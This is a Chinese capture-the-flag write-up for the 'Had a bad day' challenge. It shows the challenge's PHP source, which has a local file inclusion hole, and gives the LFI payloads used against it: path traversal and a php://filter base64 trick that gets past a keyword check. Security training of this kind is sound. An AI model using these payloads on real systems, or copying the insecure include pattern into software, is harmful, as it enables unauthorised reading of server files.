BUUCTF:[BSidesCF 2020]Had a bad day

在这里插入图片描述
可能存在SQL注入或者文件包含,在我尝试读取index.php源码的时候出现了报错信息
在这里插入图片描述
的确是文件包含,但是有index.php却读取错误,报错显示无法打开流:操作失败在后面测试的时候,发现除掉后缀即可读取到源码
在这里插入图片描述
base64解码读取源码

<?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>

传入的category需要有woofers,meowers,index才能包含传入以传入名为文件名的文件,我们要想办法包含flag.php
尝试直接读取/index.php?category=woofers/../flag
在这里插入图片描述
出现了别的内容,包含成功了flag.php,但是这里也说了flag需要读取
利用php://filter伪协议可以套一层协议读取flag.php
/index.php?category=php://filter/convert.base64-encode/index/resource=flag
套一个字符index符合条件并且传入flag,读取flag.php
在这里插入图片描述
在这里插入图片描述

Logo

一站式 AI 云服务平台

更多推荐